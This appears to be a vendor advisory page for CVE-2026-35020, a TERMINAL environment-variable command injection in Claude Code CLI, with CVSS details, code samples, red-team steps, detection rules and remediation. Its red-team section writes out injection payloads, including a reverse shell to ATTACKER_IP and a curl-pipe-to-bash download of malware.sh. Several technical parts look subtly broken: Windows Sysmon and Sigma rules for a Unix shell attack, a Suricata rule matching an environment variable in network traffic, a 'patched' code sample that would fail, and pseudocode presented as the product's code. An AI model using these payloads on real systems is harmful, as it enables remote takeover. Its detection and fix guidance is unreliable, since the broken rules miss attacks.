CVE-2026-35020
Executive Summary
CVE-2026-35020 is a critical OS command injection vulnerability in Anthropic’s Claude Code CLI and Claude Agent SDK. The flaw resides in the command lookup helper and deep-link terminal launcher, where the TERMINAL environment variable is unsafely passed to /bin/sh with shell=true. A local attacker can inject shell metacharacters into TERMINAL, leading to arbitrary command execution with the privileges of the user running the CLI. The vulnerability is exploitable during normal CLI operations and via the deep-link handler path. With a CVSS score of 8.4, this poses a severe risk to confidentiality, integrity, and availability. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Anthropic Claude Code CLI and Claude Agent SDK, which are distributed as Python packages via PyPI (claude-code-cli, claude-agent-sdk). Users who install these packages from PyPI are directly impacted. The supply chain risk is elevated because the vulnerable code is executed in the user’s shell environment, and the TERMINAL variable can be manipulated by any local process or user. Organizations should audit their use of these packages and consider sandboxing or restricting environment variable inheritance.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required beyond setting an environment variable.
- Privileges Required (PR): Low (L) – The attacker needs user-level privileges to set environment variables.
- User Interaction (UI): None (N) – No user action needed beyond normal CLI execution.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker operate within the same security authority.
- Confidentiality (C): High (H) – Full file system and process data access.
- Integrity (I): High (H) – Arbitrary command execution allows modification of system state.
- Availability (A): High (H) – Attackers can disrupt or terminate processes.
Threat Level: Critical. The low attack complexity and lack of user interaction make this highly exploitable in shared environments, CI/CD pipelines, or multi-tenant systems.
Deep Dive & Mechanics
The vulnerability originates in the command lookup helper function, which resolves the terminal emulator path using the TERMINAL environment variable. The code constructs a shell command string by concatenating the variable value directly into a command template, then executes it with shell=true in /bin/sh. For example:
# Vulnerable pseudocode
import subprocess
terminal = os.environ.get('TERMINAL', 'xterm')
cmd = f"{terminal} -e some_command"
subprocess.run(cmd, shell=True)
If an attacker sets TERMINAL to xterm; malicious_command, the shell interprets the semicolon as a command separator, executing malicious_command with the user’s privileges. The deep-link handler path is similarly affected, as it also reads TERMINAL without sanitization.
The attack surface is broad: any local process or user can set the TERMINAL environment variable before launching the Claude CLI. In shared environments (e.g., university labs, corporate terminals), this allows privilege escalation or lateral movement.
Vulnerable vs. Patched Code
Vulnerable Code (Claude Code CLI / Agent SDK):
import os
import subprocess
def launch_terminal(command):
terminal = os.environ.get('TERMINAL', 'xterm')
# UNSAFE: Direct concatenation into shell command
cmd = f"{terminal} -e {command}"
subprocess.run(cmd, shell=True)
Patched Code (Hypothetical Fix):
import os
import subprocess
import shlex
def launch_terminal(command):
terminal = os.environ.get('TERMINAL', 'xterm')
# SAFE: Use shlex.quote to escape shell metacharacters
safe_terminal = shlex.quote(terminal)
cmd = f"{safe_terminal} -e {shlex.quote(command)}"
subprocess.run(cmd, shell=False) # Also avoid shell=True
The fix involves:
- Using
shlex.quote()to escape theTERMINALvariable. - Setting
shell=Falseto prevent shell interpretation of the command string. - Alternatively, using
subprocess.Popenwith a list of arguments.
Exploitation & Lab Setup
Red Team
Prerequisites: Local access to a system with Claude Code CLI installed. Ability to set environment variables (e.g., via terminal or script).
Exploit Steps:
Set the malicious
TERMINALvariable:export TERMINAL='xterm; echo "PWNED" > /tmp/pwned.txt'Run the Claude CLI normally:
claudeThe injected command executes, writing to
/tmp/pwned.txt.
Advanced Payload (Reverse Shell):
export TERMINAL='xterm; bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
claude
Deep-Link Trigger:
export TERMINAL='xterm; curl http://ATTACKER_IP/malware.sh | bash'
xdg-open "claude://some-deep-link"
Blue Team
Detection Steps:
- Monitor for unusual
TERMINALenvironment variable values containing shell metacharacters (;,|,&,`,$()). - Audit process execution logs for
/bin/shinvocations with suspicious arguments. - Use endpoint detection rules to flag
TERMINALvariable modifications by non-standard processes.
Hunting Query (Sysmon Event ID 1):
<QueryList>
<Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
<Select Path="Microsoft-Windows-Sysmon/Operational">
*[System[(EventID=1)]]
and
*[EventData[Data[@Name='CommandLine'] and (contains(., 'TERMINAL=') or contains(., 'claude'))]]
</Select>
</Query>
</QueryList>
Indicators of Compromise (IOCs)
- Environment Variable:
TERMINALcontaining shell metacharacters (e.g.,;,|,&,`,$()). - Process Tree: Parent process
claudespawning/bin/shwith suspicious arguments. - Network Connections: Outbound connections from
claudeprocess to unexpected IPs/ports (reverse shell). - File System: Unexpected files created in
/tmp/or user home directories by injected commands. - Logs: Shell history showing
export TERMINAL=...followed byclaudeexecution.
Detection Engineering
YARA Rule
rule CVE_2026_35020_TERMINAL_Injection {
meta:
description = "Detects TERMINAL environment variable injection in Claude CLI"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-35020"
strings:
$s1 = "TERMINAL=" ascii wide nocase
$s2 = "claude" ascii wide nocase
$s3 = ";" ascii wide
$s4 = "|" ascii wide
$s5 = "&" ascii wide
$s6 = "`" ascii wide
$s7 = "$(" ascii wide
condition:
$s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}
Sigma Rule
title: CVE-2026-35020 - TERMINAL Environment Variable Injection in Claude CLI
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of Claude CLI with a malicious TERMINAL environment variable containing shell metacharacters.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-35020
author: Valters IT
date: 2026-01-01
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'TERMINAL='
- 'claude'
CommandLine|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of TERMINAL variable with unusual values (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-35020 - Claude CLI TERMINAL Injection Outbound"; flow:to_server,established; content:"claude"; nocase; content:"TERMINAL"; nocase; pcre:"/TERMINAL=[^;]*[;|&`$]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Environment Variables: Use
env -iorenv_resetin sudoers to stripTERMINALbefore executing Claude CLI. - Input Validation: Manually sanitize the
TERMINALvariable in wrapper scripts:#!/bin/bash safe_terminal=$(echo "$TERMINAL" | tr -d ';|&`$()') TERMINAL="$safe_terminal" claude "$@" - Sandbox Execution: Run Claude CLI in a container or restricted shell (e.g.,
rbash).
Long-Term Fix:
- Anthropic must patch the SDK to use
shlex.quote()and avoidshell=True. - Users should monitor for official updates and apply them immediately.
Workaround:
- Unset the
TERMINALvariable before running Claude CLI:unset TERMINAL && claude
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 5A7E7B5E8389A604FAFD5704] */}